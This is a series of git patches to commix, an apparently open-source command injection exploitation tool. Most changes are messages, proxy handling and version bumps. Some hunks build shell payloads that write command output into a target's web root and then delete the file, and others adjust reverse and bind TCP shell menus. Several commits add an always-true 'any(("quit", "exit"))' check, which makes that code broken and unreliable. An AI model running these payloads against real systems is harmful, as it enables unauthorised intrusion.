a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 5b4ee4c82a..6e815bd87e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -285,15 +285,18 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.RECHECK_FILE_FOR_EXTRACTION = True while True: message = "Do you want to use URL '" + output - message += "' as command execution output? [Y/n] > " + message += "' for command execution output? [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: - output = custom_web_root(url, OUTPUT_TEXTFILE) + message = "Please enter URL to use " + message += "for command execution output: > " + message = common.read_input(message, default=output, check_batch=True) + output = settings.DEFINED_WEBROOT = message info_msg = "Using '" + output - info_msg += "' as command execution output." + info_msg += "' for command execution output." print(settings.print_info_msg(info_msg)) if not settings.DEFINED_WEBROOT: pass @@ -310,7 +313,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution output." + debug_msg = "Checking URL '" + output + "' for command execution output." print(settings.print_debug_msg(debug_msg)) return output @@ -324,7 +327,6 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) - headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy or menu.options.ignore_proxy: response = proxy.use_proxy(request) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index dbcc854207..a312d8f616 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -32,7 +32,8 @@ def decision(separator, TAG, OUTPUT_TEXTFILE): ) else: payload = (separator + - "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "echo " + TAG + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + separator ) return payload @@ -83,7 +84,8 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): else: settings.USER_SUPPLIED_CMD = cmd payload = (separator + - cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + + separator ) return payload diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 282397fd0e..c8b95272d2 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -150,8 +150,8 @@ def https_open(self, req): opener = _urllib.request.build_opener(connection_handler()) - if len(settings.HTTP_METHOD) != 0: - request.get_method = lambda: settings.HTTP_METHOD + # if len(settings.HTTP_METHOD) != 0: + # request.get_method = lambda: settings.HTTP_METHOD _ = False response = False diff --git a/src/utils/settings.py b/src/utils/settings.py index d07cd2d9c9..ff960b4401 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "15" +REVISION = "16" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1190,6 +1190,8 @@ class AUTH_TYPE(object): LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False + + # HTTP Headers COOKIE = "Cookie" HOST = "Host" From b7b9a2f9afd2029403ab97972221c52f226055c3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 13 Nov 2023 08:33:49 +0200 Subject: [PATCH 0356/1023] Trivial update --- .../techniques/file_based/fb_handler.py | 20 +++++++++++++------ src/utils/settings.py | 2 +- 2 files changed, 15 insertions(+), 7 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 10a77afd14..9c4e1c4b72 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -49,8 +49,11 @@ """ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): if no_result == True: + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + tmp_path + "' as temporary directory." + print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in temporary " - info_msg += "directory (" + tmp_path + ") for command execution output.\n" + info_msg += "directory ('" + tmp_path + "') for command execution output.\n" sys.stdout.write(settings.print_info_msg(info_msg)) call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) return call_tfb @@ -80,7 +83,7 @@ def custom_web_root(url, timesec, filename, http_request_method, url_time_respon example_root_dir = "\\inetpub\\wwwroot" else: example_root_dir = "/var/www" - message = "Please provide the host's root directory (e.g. '" + message = "Please provide web server document root directory (e.g. '" message += example_root_dir + "') > " settings.WEB_ROOT = common.read_input(message, default=example_root_dir, check_batch=True) if settings.WEB_ROOT.endswith(("\\", "/")): @@ -208,6 +211,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Using '" + settings.WEB_ROOT + "' as web server document root." + print(settings.print_debug_msg(debug_msg)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution output. " print(settings.print_info_msg(info_msg)) @@ -369,9 +375,11 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) sys.stdout.write("\r") message = "It seems that you don't have permissions to " - message += "read and/or write files in '" + settings.WEB_ROOT + "'. " + message += "read and/or write files in '" + settings.WEB_ROOT + "'." + if not menu.options.web_root: + message += " You are advised to rerun with option '--web-root'." while True: - message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > " + message = message + "\nDo you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " tmp_upload = common.read_input(message, default="Y", check_batch=True) if tmp_upload in settings.CHOICE_YES: exit_loops = True @@ -426,9 +434,9 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r print(settings.SINGLE_WHITESPACE) print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) + if not menu.options.web_root: + custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue - except: raise diff --git a/src/utils/settings.py b/src/utils/settings.py index ff960b4401..648aca13aa 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "16" +REVISION = "17" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From d15643758c53c1555dcb73a49ba39e1078c894eb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 15 Nov 2023 18:06:43 +0200 Subject: [PATCH 0357/1023] Minor update regarding parsing HTTP requests through HTTP proxy (i.e `--proxy` option). --- src/core/main.py | 5 +++-- src/core/requests/proxy.py | 2 +- src/core/requests/requests.py | 2 +- src/utils/settings.py | 2 +- 4 files changed, 6 insertions(+), 5 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 436277bda4..318ba0aa86 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -659,8 +659,9 @@ def main(filename, url): for match in re.finditer(settings.PROXY_REGEX, menu.options.proxy): _, proxy_scheme, proxy_address, proxy_port = match.groups() - if proxy_scheme: - settings.PROXY_SCHEME = proxy_scheme + if settings.SCHEME or proxy_scheme: + if not settings.SCHEME: + settings.SCHEME = proxy_scheme menu.options.proxy = proxy_address + ":" + proxy_port break else: diff --git a/src/core/requests/proxy.py b/src/core/requests/proxy.py index b6d707c0c9..e23ff14341 100644 --- a/src/core/requests/proxy.py +++ b/src/core/requests/proxy.py @@ -34,7 +34,7 @@ def use_proxy(request): opener = _urllib.request.build_opener(proxy) _urllib.request.install_opener(opener) else: - request.set_proxy(menu.options.proxy, settings.PROXY_SCHEME) + request.set_proxy(menu.options.proxy, settings.SCHEME) return _urllib.request.urlopen(request, timeout=settings.TIMEOUT) except Exception as err_msg: return requests.request_failed(err_msg) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 7f492d08d3..0574842b5a 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -370,7 +370,7 @@ def request_failed(err_msg): continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True - return False + return True else: if not settings.CRAWLING: raise SystemExit() diff --git a/src/utils/settings.py b/src/utils/settings.py index 648aca13aa..cc4f1c7f37 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "17" +REVISION = "18" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From fc5febe34c9f1b1c7bd2208e22ea556fe9ecc3d3 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 16 Nov 2023 08:40:58 +0200 Subject: [PATCH 0358/1023] Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). --- doc/CHANGELOG.md | 1 + .../semiblind/techniques/file_based/fb_payloads.py | 11 +++++++---- src/utils/settings.py | 2 +- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 3efc2816f4..e6306ee10c 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). * Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. * Added: New switch `--ignore-proxy` to ignore the system default HTTP proxy. * Revised: Minor improvement regarding parsing HTTP requests through HTTP proxy (i.e. `--proxy` option). diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index a312d8f616..10fec5744f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -27,8 +27,11 @@ """ def decision(separator, TAG, OUTPUT_TEXTFILE): if settings.TARGET_OS == settings.OS.WINDOWS: + cmd = settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" payload = (separator + - settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'\"" + "for /f \"tokens=*\" %i in ('cmd /c \"" + + cmd + + "\"') do @set /p = " + TAG + TAG + "%i" + TAG + TAG + settings.CMD_NUL ) else: payload = (separator + @@ -75,11 +78,11 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): payload = (separator + cmd) elif settings.TARGET_OS == settings.OS.WINDOWS: - payload = (separator + + cmd = cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + payload = (separator + "for /f \"tokens=*\" %i in ('cmd /c \"" + - "powershell.exe -InputFormat none write-host (cmd /c \"" + cmd + - "\")\"') do " + settings.WIN_FILE_WRITE_OPERATOR + settings.WEB_ROOT.replace("\\","\\\\") + OUTPUT_TEXTFILE + " '%i'" + settings.CMD_NUL + "\"') do @set /p = %i " + settings.CMD_NUL ) else: settings.USER_SUPPLIED_CMD = cmd diff --git a/src/utils/settings.py b/src/utils/settings.py index cc4f1c7f37..370f2d659b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "18" +REVISION = "19" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7d4112cb82a394c837c1c439f30e9deb73a66f0b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 20 Nov 2023 08:25:51 +0200 Subject: [PATCH 0359/1023] Minor update --- .../semiblind/techniques/file_based/fb_handler.py | 6 +++++- .../semiblind/techniques/file_based/fb_injector.py | 5 +---- src/utils/settings.py | 2 +- 3 files changed, 7 insertions(+), 6 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 9c4e1c4b72..5b8f0fe385 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -117,8 +117,12 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons if menu.options.file_dest and '/tmp/' in menu.options.file_dest: call_tmp_based = True - # else: + if menu.options.web_root: + if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): + menu.options.web_root = menu.options.web_root + "\\" + elif not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" settings.WEB_ROOT = menu.options.web_root else: # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www. diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 6e815bd87e..00ee20b3be 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -268,12 +268,9 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: if menu.options.web_root: - _ = "/" - if not menu.options.web_root.endswith(_): - menu.options.web_root = menu.options.web_root + _ scheme = _urllib.parse.urlparse(url).scheme netloc = _urllib.parse.urlparse(url).netloc - output = scheme + "://" + netloc + _ + OUTPUT_TEXTFILE + output = scheme + "://" + netloc + "/" + OUTPUT_TEXTFILE for item in settings.LINUX_DEFAULT_DOC_ROOTS: if item == menu.options.web_root: diff --git a/src/utils/settings.py b/src/utils/settings.py index 370f2d659b..2ee8c5b88e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "19" +REVISION = "20" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 19376e7d82377f3697234c476532f120d286b500 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 Nov 2023 07:27:10 +0200 Subject: [PATCH 0360/1023] Minor update --- src/core/requests/requests.py | 7 ++++--- src/utils/settings.py | 2 +- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 0574842b5a..419d38f7bf 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -230,15 +230,16 @@ def estimate_response_time(url, timesec): end = time.time() diff = end - start + if settings.VERBOSITY_LEVEL != 0 and _: + print(settings.SINGLE_WHITESPACE) + if int(diff) < 1: url_time_response = int(diff) - if settings.VERBOSITY_LEVEL != 0 and _: - print(settings.SINGLE_WHITESPACE) + else: if settings.TARGET_OS == settings.OS.WINDOWS: warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." print(settings.print_warning_msg(warn_msg)) - else: if settings.VERBOSITY_LEVEL != 0: print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2ee8c5b88e..9498d9bd8d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "20" +REVISION = "21" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 13c94efb89202bb5168dc0c231d5ea7dc8e4e0a9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 22 Nov 2023 07:31:29 +0200 Subject: [PATCH 0361/1023] Minor update --- .../injections/semiblind/techniques/file_based/fb_handler.py | 2 +- .../semiblind/techniques/tempfile_based/tfb_handler.py | 2 +- src/utils/settings.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 5b8f0fe385..7054cdd02f 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -67,7 +67,7 @@ def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_met def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.FILE_BASED_STATE != None: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'." + debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index 0c212b2201..fedeb4a59d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -50,7 +50,7 @@ """ def delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Deleting the generated file '" + OUTPUT_TEXTFILE + "'" + debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." print(settings.print_debug_msg(debug_msg)) if settings.TARGET_OS == settings.OS.WINDOWS: cmd = settings.WIN_DEL + OUTPUT_TEXTFILE diff --git a/src/utils/settings.py b/src/utils/settings.py index 9498d9bd8d..4617873c8f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "21" +REVISION = "22" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From eab2794ab0e4a0cafedd0e7a3755dc063ab3a0bc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 23 Nov 2023 09:18:47 +0200 Subject: [PATCH 0362/1023] Minor update regarding "os_shell" options --- src/core/injections/controller/shell_options.py | 2 +- src/core/modules/shellshock/shellshock.py | 2 +- src/core/shells/bind_tcp.py | 4 ++-- src/core/shells/reverse_tcp.py | 4 ++-- src/utils/menu.py | 6 +++--- src/utils/settings.py | 3 ++- 6 files changed, 11 insertions(+), 10 deletions(-) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 0712945e87..33f8bac32f 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -180,7 +180,7 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "quit" option - elif os_shell_option == "quit": + elif any(("quit", "exit")): logs.print_logs_notification(filename, url) raise SystemExit() diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index c7f34e2f53..da27e20e44 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -273,7 +273,7 @@ def check_options(url, cmd, cve, check_header, filename, os_shell_option, http_r return go_back, go_back_again # The "quit" option - elif os_shell_option == "quit": + elif any(("quit", "exit")): raise SystemExit() """ diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index bac0b20b53..b4c60a3863 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -34,7 +34,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif any(("quit", "exit")): raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": @@ -502,7 +502,7 @@ def configure_bind_tcp(separator): elif option.lower() == "?": menu.bind_tcp_options() continue - elif option.lower() == "quit": + elif any(("quit", "exit")): raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 8c512882e0..6dd74c21b3 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -39,7 +39,7 @@ def shell_options(option): print(settings.print_warning_msg(warn_msg)) elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif any(("quit", "exit")): raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": @@ -708,7 +708,7 @@ def configure_reverse_tcp(separator): if option.lower() == "?": menu.reverse_tcp_options() continue - if option.lower() == "quit": + if any(("quit", "exit")): raise SystemExit() elif option.lower() == "os_shell" or option.lower() == "back": settings.REVERSE_TCP = False diff --git a/src/utils/menu.py b/src/utils/menu.py index d679f62fc3..36c5469af9 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -668,7 +668,7 @@ def os_shell_options(): print("""""" + Style.BRIGHT + """Available 'os_shell' options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") @@ -680,7 +680,7 @@ def reverse_tcp_options(): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """bind_tcp""" + Style.RESET_ALL + """' to set a bind TCP connection.""") @@ -692,7 +692,7 @@ def bind_tcp_options(): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """?""" + Style.RESET_ALL + """' to get all the available options. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """set""" + Style.RESET_ALL + """' to set a context-specific variable to a value. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """back""" + Style.RESET_ALL + """' to move back from the current context. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' (or use ) to quit commix. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """quit""" + Style.RESET_ALL + """' / '""" + Style.BRIGHT + """exit""" + Style.RESET_ALL + """' (or use ) to quit commix. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """os_shell""" + Style.RESET_ALL + """' to get into an operating system command shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """reverse_tcp""" + Style.RESET_ALL + """' to get a reverse TCP connection.""") diff --git a/src/utils/settings.py b/src/utils/settings.py index 4617873c8f..11df8ebed0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "22" +REVISION = "23" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -704,6 +704,7 @@ class OS(object): SHELL_OPTIONS = [ "?", "quit", + "exit", "back", "os_shell", "reverse_tcp", From fcb34de6dd14969224eb9a1cd111d67856e12297 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 Nov 2023 08:50:18 +0200 Subject: [PATCH 0363/1023] Minor fix --- .../techniques/file_based/fb_injector.py | 24 +++++++++++-------- src/utils/settings.py | 2 +- 2 files changed, 15 insertions(+), 11 deletions(-) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 00ee20b3be..d6cd7c192c 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -332,16 +332,20 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - try: - shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] - if settings.TARGET_OS == settings.OS.WINDOWS: - shell = [newline.replace("\r", "") for newline in shell] - #shell = [space.strip() for space in shell] - shell = [empty for empty in shell if empty] - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - shell = "" + + if type(response) is bool and response != True or response is None: + shell = "" + else: + try: + shell = checks.page_encoding(response, action="encode").rstrip().lstrip() + #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] + if settings.TARGET_OS == settings.OS.WINDOWS: + shell = [newline.replace("\r", "") for newline in shell] + #shell = [space.strip() for space in shell] + shell = [empty for empty in shell if empty] + except _urllib.error.HTTPError as e: + if str(e.getcode()) == settings.NOT_FOUND_ERROR: + shell = "" return shell # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 11df8ebed0..63a64eba15 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "23" +REVISION = "24" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 5109df4bc8df9a4e68176399b14337c90d298950 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 27 Nov 2023 09:49:04 +0200 Subject: [PATCH 0364/1023] Update CHANGELOG.md --- doc/CHANGELOG.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index e6306ee10c..db6c4a3e2b 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -57,7 +57,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Revised: Improvements regarding Windows-based payloads for every supported technique. * Revised: Improvement regarding alternative shell (i.e.`--alter-shell`) for generating Python 3x payloads. * Removed: The depricated modules "ICMP exfiltration" and "DNS exfiltration" have been removed. -* Revised: Improvement regarding identifying injection marker (i.e. asterisk) in provided options. +* Revised: Improvement regarding identifying injection marker (i.e. asterisk `*`) in provided options. * Revised: Improvement regarding shellshock module. * Added: Support regarding parsing target(s) from piped-input (i.e. `stdin`). * Added: New option `--answers` to set user answers to asked questions during commix run. @@ -444,7 +444,7 @@ _Note: For more check the [detailed changeset](https://github.com/commixproject/ * Added: The ability for generating powershell attack vectors via TrustedSec's Magic Unicorn. * Added: The ability for checking if there is a new version available. * Added: 